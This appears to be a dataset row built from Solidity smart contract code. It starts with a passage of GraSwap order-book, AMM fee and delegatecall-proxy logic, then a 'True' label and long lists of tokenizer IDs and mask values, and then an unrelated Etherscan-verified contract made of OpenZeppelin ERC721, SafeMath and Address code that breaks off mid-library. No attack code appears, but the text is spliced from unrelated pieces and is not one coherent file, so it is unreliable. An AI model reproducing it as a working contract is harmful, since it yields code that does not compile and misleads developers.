require(stockAmount < (1<<42), "GraSwap: STOCK_TOO_LARGE");
uint stockTrans = stockAmount/*42bits*/ * ctx.stockUnit/*64bits*/;
uint moneyTrans = stockTrans * priceInBook.numerator/*54+64bits*/ / priceInBook.denominator/*76+64bits*/;
_emitOrderChanged(orderInBook.amount, uint64(stockAmount), currID, isBuy);
orderInBook.amount -= uint64(stockAmount);
if(isBuy) { //subtraction cannot overflow: moneyTrans and stockTrans are calculated from remainAmount
ctx.remainAmount -= moneyTrans;
} else {
ctx.remainAmount -= stockTrans;
}
// following accumulations can not overflow, because stockTrans(moneyTrans) at most 106bits(160bits)
// we know for sure that dealStockInBook and dealMoneyInBook are less than 192 bits
ctx.dealStockInBook += stockTrans;
ctx.dealMoneyInBook += moneyTrans;
if(isBuy) {
_safeTransfer(ctx.moneyToken, orderInBook.sender, moneyTrans, ctx.graContract);
} else {
_safeTransfer(ctx.stockToken, orderInBook.sender, stockTrans, ctx.graContract);
}
}
// make real deal with the pool and then collect fee, which will be added to AMM pool
function _dealWithPoolAndCollectFee(Context memory ctx, bool isBuy) internal returns (uint) {
(uint outpoolTokenReserve, uint inpoolTokenReserve, uint otherToTaker) = (
ctx.reserveMoney, ctx.reserveStock, ctx.dealMoneyInBook);
if(isBuy) {
(outpoolTokenReserve, inpoolTokenReserve, otherToTaker) = (
ctx.reserveStock, ctx.reserveMoney, ctx.dealStockInBook);
}
// all these 4 varialbes are less than 112 bits
// outAmount is sure to less than outpoolTokenReserve (which is ctx.reserveStock or ctx.reserveMoney)
uint outAmount = (outpoolTokenReserve*ctx.amountIntoPool)/(inpoolTokenReserve+ctx.amountIntoPool);
if(ctx.amountIntoPool > 0) {
_emitDealWithPool(uint112(ctx.amountIntoPool), uint112(outAmount), isBuy);
}
uint32 feeBPS = IGraSwapFactory(ctx.factory).feeBPS();
// the token amount that should go to the taker,
// for buy-order, it's stock amount; for sell-order, it's money amount
uint amountToTaker = outAmount + otherToTaker;
require(amountToTaker < uint(1<<112), "GraSwap: AMOUNT_TOO_LARGE");
uint fee = (amountToTaker * feeBPS + 9999) / 10000;
amountToTaker -= fee;
if(isBuy) {
ctx.reserveMoney = ctx.reserveMoney + ctx.amountIntoPool;
ctx.reserveStock = ctx.reserveStock - outAmount + fee;
} else {
ctx.reserveMoney = ctx.reserveMoney - outAmount + fee;
ctx.reserveStock = ctx.reserveStock + ctx.amountIntoPool;
}
address token = ctx.moneyToken;
if(isBuy) {
token = ctx.stockToken;
}
_safeTransfer(token, ctx.order.sender, amountToTaker, ctx.graContract);
return amountToTaker;
}
// Insert a not-fully-deal limit order into orderbook
function _insertOrderToBook(Context memory ctx, bool isBuy, RatPrice memory price) internal {
(uint smallAmount, uint moneyAmount, uint stockAmount) = (0, 0, 0);
if(isBuy) {
uint tempAmount1 = ctx.remainAmount /*112bits*/ * price.denominator /*76+64bits*/;
uint temp = ctx.stockUnit * price.numerator/*54+64bits*/;
stockAmount = tempAmount1 / temp;
uint tempAmount2 = stockAmount * temp; // Now tempAmount1 >= tempAmount2
moneyAmount = (tempAmount2+price.denominator-1)/price.denominator; // round up
if(ctx.remainAmount > moneyAmount) {
// smallAmount is the gap where remainAmount can not buy an integer of stocks
smallAmount = ctx.remainAmount - moneyAmount;
} else {
moneyAmount = ctx.remainAmount;
} //Now ctx.remainAmount >= moneyAmount
} else {
// for sell orders, remainAmount were always decreased by integral multiple of StockUnit
// and we know for sure that ctx.remainAmount % StockUnit == 0
stockAmount = ctx.remainAmount / ctx.stockUnit;
smallAmount = ctx.remainAmount - stockAmount * ctx.stockUnit;
}
ctx.amountIntoPool += smallAmount; // Deal smallAmount with pool
//ctx.reserveMoney += smallAmount; // If this addition overflows, _setReserves will fail
_emitNewLimitOrder(uint64(ctx.order.sender), ctx.order.amount, uint64(stockAmount),
ctx.order.price, ctx.newOrderID, isBuy);
if(stockAmount != 0) {
ctx.order.amount = uint64(stockAmount);
if(ctx.hasDealtInOrderBook) {
// if current order has ever dealt, it has the best price and can be inserted at head
_insertOrderAtHead(ctx, isBuy, ctx.order, ctx.newOrderID);
} else {
// if current order has NEVER dealt, we must find a proper position for it.
// we may scan a lot of entries in the single-linked list and run out of gas
_insertOrderFromHead(ctx, isBuy, ctx.order, ctx.newOrderID);
}
}
// Any overflow/underflow in following calculation will be caught by _setBooked
if(isBuy) {
ctx.bookedMoney += moneyAmount;
} else {
ctx.bookedStock += (ctx.remainAmount - smallAmount);
}
}
}
// solhint-disable-next-line max-states-count
contract GraSwapPairProxy {
uint internal _unusedVar0;
uint internal _unusedVar1;
uint internal _unusedVar2;
uint internal _unusedVar3;
uint internal _unusedVar4;
uint internal _unusedVar5;
uint internal _unusedVar6;
uint internal _unusedVar7;
uint internal _unusedVar8;
uint internal _unusedVar9;
uint internal _unlocked;
uint internal immutable _immuFactory;
uint internal immutable _immuMoneyToken;
uint internal immutable _immuStockToken;
uint internal immutable _immuGras;
uint internal immutable _immuOther;
constructor(address stockToken, address moneyToken, bool isOnlySwap, uint64 stockUnit, uint64 priceMul, uint64 priceDiv, address graContract) public {
_immuFactory = uint(msg.sender);
_immuMoneyToken = uint(moneyToken);
_immuStockToken = uint(stockToken);
_immuGras = uint(graContract);
uint temp = 0;
if(isOnlySwap) {
temp = 1;
}
temp = (temp<<64) | stockUnit;
temp = (temp<<64) | priceMul;
temp = (temp<<64) | priceDiv;
_immuOther = temp;
_unlocked = 1;
}
receive() external payable { }
// solhint-disable-next-line no-complex-fallback
fallback() payable external {
uint factory = _immuFactory;
uint moneyToken = _immuMoneyToken;
uint stockToken = _immuStockToken;
uint graContract = _immuGras;
uint other = _immuOther;
address impl = IGraSwapFactory(address(_immuFactory)).pairLogic();
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
let size := calldatasize()
calldatacopy(ptr, 0, size)
let end := add(ptr, size)
// append immutable variables to the end of calldata
mstore(end, factory)
end := add(end, 32)
mstore(end, moneyToken)
end := add(end, 32)
mstore(end, stockToken)
end := add(end, 32)
mstore(end, graContract)
end := add(end, 32)
mstore(end, other)
size := add(size, 160)
let result := delegatecall(gas(), impl, ptr, size, 0, 0)
size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6185,
1011,
5757,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2260,
1025,
3075,
8785,
1063,
3853,
8117,
1006,
21318,
3372,
1060,
1010,
21318,
3372,
1061,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1062,
1007,
1063,
1062,
1027,
1060,
1026,
1061,
1029,
1060,
1024,
1061,
1025,
1065,
1013,
1013,
26990,
4118,
1006,
16770,
1024,
1013,
1013,
4372,
1012,
16948,
1012,
8917,
1013,
15536,
3211,
1013,
4725,
1035,
1997,
1035,
9798,
1035,
2675,
1035,
6147,
1001,
26990,
1035,
4118,
1007,
3853,
5490,
5339,
1006,
21318,
3372,
1061,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
1062,
1007,
1063,
2065,
1006,
1061,
1028,
1017,
1007,
1063,
1062,
1027,
1061,
1025,
21318,
3372,
1060,
1027,
1061,
1013,
1016,
1009,
1015,
1025,
2096,
1006,
1060,
1026,
1062,
1007,
1063,
1062,
1027,
1060,
1025,
1060,
1027,
1006,
1061,
1013,
1060,
1009,
1060,
1007,
1013,
1016,
1025,
1065,
1065,
2842,
2065,
1006,
1061,
999,
1027,
1014,
1007,
1063,
1062,
1027,
1015,
1025,
1065,
1065,
1065,
3075,
3647,
18900,
2232,
17788,
2575,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-23
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/utils/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
